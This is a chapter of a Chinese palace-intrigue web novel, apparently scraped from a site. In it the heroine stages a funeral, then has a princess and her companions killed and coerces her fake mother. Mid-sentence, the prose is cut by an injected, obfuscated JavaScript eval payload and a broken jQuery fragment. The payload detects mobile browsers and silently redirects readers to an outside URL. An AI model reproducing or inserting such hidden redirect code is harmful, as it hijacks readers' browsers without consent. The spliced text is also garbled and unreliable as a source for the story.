151.隔空斗法曹仙娥扳回一城 杀鸡儆猴穆九如心狠手辣

作品:《踏沙行

    第三日便是宁王下葬的日子,京都官员、显贵人家都设了路祭,连远在凤翔的小皇帝都写来了祭文悼念。


    阿如扮演了一回孝女,在外人面前哭得肝肠寸断。


    郭氏与她一起回孝子礼,反而没来时的激动,只在看见兵部尚书郭钊家祭棚的时候忍不住想过去。


    阿如一把拉住,冷冷地问:“母亲要丢下女儿吗?”


    听着在说自己,其实是在警告她女儿,真正的李云昭还在曹仙娥手上。


    郭氏果真缩回手,咽下了想说的话。


    曹仙娥放她回来,可不是好心叫她给丈夫送葬来的。而是看她们假母女怎么演这处假戏真做的戏,这一点阿如明白,郭氏不可能不明白。


    但郭氏怎么甘心受阿如摆布,镇定下来,也回击道:“别家的也就罢了,外祖家设的祭棚,怎能过而不拜?女儿既然孝顺,就随我一道去给外祖父还个礼吧。”


    郭氏的父亲郭钊管着兵部,劝降不成若要动兵,还需要他,阿如现下还不能一刀杀了他了事。但她与曹仙娥虽未见面,却有种奇怪的默契,不将宁王一脉赶尽杀绝不罢休。


    从容拦在郭氏面前,阿如冲向从未见过的所谓外祖父行了个大礼,悲戚戚道:“父亲为贼人所害,外祖您可要为我们母女做主啊。”


    郭钊顾及外孙女,不敢在这样的大场合揭示阿如的身份,只得跟着演:“孙儿放心,我一定揪出凶手,为你父亲报仇。”


    凶手已经明明白白公之于众就是田越,所有人都信,只有郭钊不信,只能是那夜的事走漏了消息,也就是说宁王身边也有郭钊的人。


    可那天跟着宁王的人都灭了口,这消息如何出去的?


    阿如沉住气,哭得泪水涟涟:“凶手是魏州田家,我那日看得真真切切。外祖父这样说,难道还有别的隐情?”


    郭钊没料到阿如这样直接,看了眼女儿:“现下不是说这个的时候,先办好王爷身后事,真凶自有落网的一天。”


    郭氏看准了机会就要往郭钊身边去,阿如忙挽住,外人看来乃是一副相扶相携的亲母女:“母亲,外祖说得对,先让父亲入土为安吧。”


    说完挽了郭氏就走,顺势朝后递给燕六一个眼神,燕六会意离队而去。


    再见燕六已经是四天后,阿如处理完宁王的丧事,正在一堆消息当中埋头苦读。


    “您这是……?”抬头看见受伤进来的燕六,阿如忙起身扶他,“这是怎么回事?”


    燕六腹部中箭,捂着的伤口鲜血直流。阿如忙往外喊了一声:“太医!”


    那太医本就惧怕燕六,眼看他伤重至此,早失了敬畏之心,手底下包扎没轻没重,气得阿如拔刀便往他脖子上砍:“你活腻了?”


    太医畏惧强权,战战兢兢包扎好要跑,却被阿如冷冷喊住:“没我的吩咐不许离开太极宫半步!”


    再看燕六,疼得冷汗直冒:“殿下,郭钊在家里集会,商议如何反制于您。那日走漏风声的,是那老,老阉人!”


    “元宝?”阿如静静听着,“你为何受伤?”


    燕六喘匀了气:“我亲眼见到他自郭钊后门出来,意欲杀了了事,谁知后头有人护他。此人身法极快,我没看清,但善使弓箭,我猜不是周人。”


    元宝是林太妃的人,又与郭钊有来往,阿如心里立刻有了怀疑人选:“我知道了,你好好养伤,剩下的事我来处理。”


    还是手底下能信任的人太少的缘故,阿如推算时间,巴根回去已有一个月,还没来信说陆松鸣的毒能不能解。但他去了就能匀楼筠之和阿林美朵来京都,阿如又叫他们路过番禾接上元若,三人还在路上。


    樊缨跟着燕方质,如今身边能用的只有一个帕夏,属实有些捉襟见肘。


    元宝这事就是阿如的疏忽,她原以为赶到外院便行了,谁知竟犯了这样的低级错误。


    “帕夏,”阿如站在檐下,轻轻喊了声,“将你的人匀一个给我。”


    亲自挟了郭氏往宣平坊,这里有个必须要除掉的人。


    “初次见面,你好啊,安康姐姐!”


    安康两个字阿如咬得极重,笑着望向面前衣衫不整的女人。几个清瘦的少年男子滚在一边,同样衣不蔽体。


    故意踩住地上华贵袍服的一角,阿如尽情浏览这位孀居公主的风流韵事,脸上尽是刻薄:“真是天生一对,你那丈夫曹蕻死的当日也是这样色胆包天。不过他可没你的福气,居然有三,四,哦五个少年郎君一起伺候你,你就是死了也无憾吧?”


    □□羞愤难当,尽力俯身遮住自己,嘶吼骂道:“你这妖女,你究竟想做什么!”


    “不做什么呀,”阿如蹲下身,手里匕首摆弄般戳倒了案上的酒杯,细细的水流顺着几案缝隙滴在地上,“就是来看看你,顺便问一句你母亲的命,你要是不要?”


    安康立刻警觉,看向郭氏。见郭氏绝望摇头,明白事情败露,可仍是一副倔强的样子:“要杀尽管杀!你别忘了,你要想得李氏正统,被宗庙社稷承认,单单诛杀亲族一条,就能叫你梦碎!”


    阿如简直想笑,背后撺掇她们犯蠢的曹仙娥如今可连面都没露过,与自己唯一的交集是禁军的调兵命令。而被她玩弄在股掌中的这些人已经乱了阵脚,互相残杀起来。


    一开始阿如根本没想过将李氏亲族牵扯进来,毕竟她们与这件事没多大关系。但阿如深知心慈手软的后果,起身放开了衣角:“你提醒得对。你自己了结还是我帮你?放心,你这几个小郎君我会一个不少送去给你陪葬的!”


    □□一脸震惊,没想到阿如如此大胆,扯了衣裳就要往外跑。


    郭氏才要开口阻止,只听噗滋一声,一把长剑贯过她单薄的胸膛,门外执剑的人正是帕夏。


    屋里顿时乱做一团,那些白净的面首顾不上羞耻,赤着身子就要逃命,无一例外都被帕夏的人斩杀当场。


    一时间偌大屋子血雾朦胧,连带阿如脸上身上都蒙上一层微微的红。


    “你不怕下地狱吗!”郭氏吓呆了,脚底似是灌了千斤重量就是跑不动,干脆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239813|158003||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瘫坐下来,“她虽不是你亲姐妹,算起来也是堂姐妹,你,你真是个魔鬼!”


    阿如面上血雾恰如一层薄薄的胭脂,衬得她当真如鬼魅般:“别急啊母亲,你送我上花轿的大恩我还记着呢,一定会回你一份大礼。呦,听说你的宝贝女儿还没出阁,难不成她也想嫁个草原狼主?”


    郭氏一听就急了,双膝跪地爬过来,拽住阿如的裙摆就哭:“你放过她,求求你,放过她。你想要什么?你尽管去拿,金银财宝,官爵王位你尽管去拿好了!”


    “放过她?”阿如好笑极了,俯身扯开自己的衣襟,露出里头层层叠叠、新老不一的伤口,“你问问它们,愿意放过她吗?”


    郭氏怔住,与自己女儿,与□□同样单薄的阿如的胸膛上几乎没有一处完整的皮肤。她不敢想象如果这些伤出现在自己女儿身上,她得多心疼多恨。


    “是我的错!”郭氏除了磕头道歉不知道还能做什么,“是我的错!你要复仇找我就好,你放过她,哪怕让她做个下等仆妇烧火丫头,留她一条命就好。求求你求求你!”


    是啊,刀子没有划在自己身上怎么会知道疼呢?


    阿如冷笑掩盖不住:“救不救她,你说了算!”


    说完掩了衣襟就走,将郭氏扥了个趔趄。


    傍晚时分就有消息传来,宁王妃郭氏与王爷夫妻情深不能自已,在自家悬梁自尽,殉情而去了。


    阿如自然又是大哭一场,继续办丧事。


    燕方质那里终于传来消息,一番游说之下昭义军退出盟约,剩下祝涛与田成两家还要继续西进。燕方质劝说不听,樊缨以八百骑兵深入敌营活捉了祝涛。


    在京都的祝泚向阿如负荆请罪请求放过兄长,温济再一次称病装看不见,阿如便给了机会,叫他亲自去卢龙退敌。


    剩下只有魏州田成,以他一家之力当然闹不起来,但也绝不低头。


    阿如亦有办法,以圣人钦差的身份传令宰扬州的温重截断魏州一切补给。温重如今身负转运使一职,管的正是整个大周的粮草、盐铁调运。


    得知父亲称病,温重不敢违抗。但曹仙娥西幸时带走了女儿温蒖儿,还是叫他牵心不已,几封书信都寄不到凤翔,索性借着机会回信问阿如。


    阿如回了封极官方的信,她痛恨这些伪君子们自以为是的“为你好”,真正关心就冒险去凤翔吧,何必来问。


    男人,都像樊缨这般心里想什么就说什么不好么?


    “下次叫阿纳带兵出去吧,”樊缨安全带回了燕方质,还有俘虏祝涛,立了大功却不肯受赏,此时正腻在她身后,“我得看着你!”


    “看着我?”阿如从公事中探出头,“我会丢吗?”


    樊缨从怀里捏出一封信,故意捏着嗓子念起来:“公主安好?每念公主,心如骄阳……达步请见……”


    阿如听着不对,回身要抢:“这是什么!”


    樊缨高高举起,就不让她抢到:“这是那羊倌写给你的信。好啊你,我一时不在,你就沾花惹草!”